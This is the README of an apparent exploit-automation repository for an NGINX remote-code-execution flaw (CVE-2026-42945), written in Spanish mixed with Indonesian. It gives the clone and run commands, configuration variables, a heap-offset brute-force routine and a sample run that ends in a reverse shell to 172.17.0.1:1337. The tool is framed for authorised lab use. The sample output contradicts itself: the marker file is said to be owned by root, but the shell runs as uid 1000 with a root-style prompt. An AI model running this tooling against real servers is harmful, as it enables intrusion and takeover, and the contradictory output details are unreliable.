
Automatiza la explotación de CVE-2026-42945 en contenedores NGINX: verifica objetivos vulnerables, realiza fuerza bruta sobre offsets de heap, ejecuta comandos y abre una shell inversa interactiva.
Controlador de automatización de PoC para explotación RCE del contenedor nginx-rift · Verificación del objetivo → Exploit de comando único → Reverse shell interactiva
Un solo comando orquesta todo el flujo del exploit: desde comprobar el contenedor hasta obtener la shell.
⚠️ Advertencia ética y legal Esta herramienta solo está destinada a pruebas de seguridad legítimas y autorizadas — pentest por contrato, laboratorio/CTF o activos propios. El uso sin permiso del propietario del sistema es un delito (UU ITE, Computer Fraud and Abuse Act, etc.). El usuario es plenamente responsable de su uso.
CVE-2026-42945 es una vulnerabilidad de ejecución remota de código (RCE) en la configuración NGINX «Rift» — un desbordamiento de búfer basado en heap en el módulo ngx_http_rewrite_module que se desencadena a través de una location block concreta (/api/users/...). El impacto es que un atacante puede ejecutar comandos mediante el handler system() dentro del contenedor.
| Elemento | Detalle |
|---|---|
| CVE | CVE-2026-42945 |
| Tipo | Ejecución remota de código (RCE) |
| Componente | NGINX (ngx_http_rewrite_module) — configuración «Rift» |
| Desencadenante | Petición a una location block vulnerable (/api/users/{id}) |
| Impacto | Ejecución de comandos arbitrarios como usuario worker de NGINX dentro del contenedor |
| Configuración del laboratorio | Contenedor nginx-rift-nginx-1 — puerto host 19321 |
Este repositorio contiene 2 componentes:
| Archivo | Función |
|---|---|
poc.py | Controlador de exploit — fuerza bruta del offset de heap, dos modos: --cmd (comando único) y --shell (reverse shell) |
scan.sh | Orquestador de automatización — verificación del objetivo, ejecución del PoC, verificación del resultado y sesión de shell interactiva |
┌─────────────────────────────┐
│ scan.sh │
│ Mode: auto / cmd / shell │
└─────────────┬───────────────┘
▼
[0] Preflight
cek docker, curl, python3,
nc, timeout + poc.py ada
▼
[1] Verifikasi Target
docker ps (label compose)
→ curl /api/users/42 (HTTP 200)
▼
[2] PoC --cmd (max 3× retry)
python3 poc.py --cmd 'echo hello
from depthfirst > /tmp/pwned'
│
▼ (timeout 300s per attempt)
Verifikasi ground-truth:
docker exec cat /tmp/pwned
▼
[3] PoC --shell (opsional)
listener 172.17.0.1:1337
→ prompt /bin/sh interaktif
Operador (host donde se ejecuta el script):
docker (con sudo o usuario en el grupo docker)python3 + poc.py (en el mismo directorio que scan.sh)curl, nc (netcat), timeout (coreutils)Objetivo (laboratorio):
nginx-rift levantado (aprovisionado mediante docker compose)19321 abierto en 127.0.0.1172.17.0.1 para el listener del host)# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift
# 2. Pastikan executable
chmod +x scan.sh
# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout
scan.sh y poc.py deben estar en el mismo directorio.
./scan.sh # alur lengkap (default: auto)
./scan.sh cmd # hanya PoC single-command + verifikasi marker
./scan.sh shell # langsung reverse-shell interaktif
./scan.sh help # tampilkan bantuan
auto (predeterminado)--cmd — escribe el marcador hello from depthfirst en /tmp/pwned dentro del contenedor (reintento automático máx. 3×, tiempo límite de 300s/intento).docker exec cat /tmp/pwned debe contener el marcador (ground-truth, no basta con leer la salida).y para la sesión interactiva.shell./scan.sh shell
Ejecuta poc.py --shell con el listener 172.17.0.1:1337. Una vez que el brute-force se completa con éxito, obtienes un prompt /bin/sh interactivo como usuario worker de NGINX dentro del contenedor.
Nota: La IP
172.17.0.1es la dirección del host en el bridge predeterminado de Docker. Si tu bridge es diferente (docker network inspect bridge), cambia la variableLISTEN_IPen la parte superior descan.sh.
Todos los parámetros se agrupan en el bloque de configuración superior de scan.sh:
| Variable | Valor por defecto | Función |
|---|---|---|
DOCKER | sudo docker | Reemplaza docker si el usuario ya está en el grupo docker |
PROJECT_LABEL | com.docker.compose.project=nginx-rift | Filtro de identificación del contenedor |
CONTAINER | nginx-rift-nginx-1 | Nombre del contenedor objetivo |
TARGET_HOST / TARGET_PORT | 127.0.0.1 / 19321 | Dirección del objetivo |
LISTEN_IP / LISTEN_PORT | 172.17.0.1 / 1337 | Listener de reverse shell |
MARKER_FILE / MARKER_EXPECT | /tmp/pwned / hello from depthfirst | Verificación de la ejecución |
CMD_TIMEOUT | 300 | Tiempo límite por intento (segundos) |
MAX_ATTEMPTS | 3 | Número de reintentos del PoC --cmd |
┌──────────────────────────────────────────────────────────────┐
│ NGINX RIFT · CVE-2026-42945 · PoC Automation Driver │
└──────────────────────────────────────────────────────────────┘
── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)
── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42
── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...
[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)
[?] Lanjut ke reverse-shell interaktif? [y/N]: y
── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force
[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)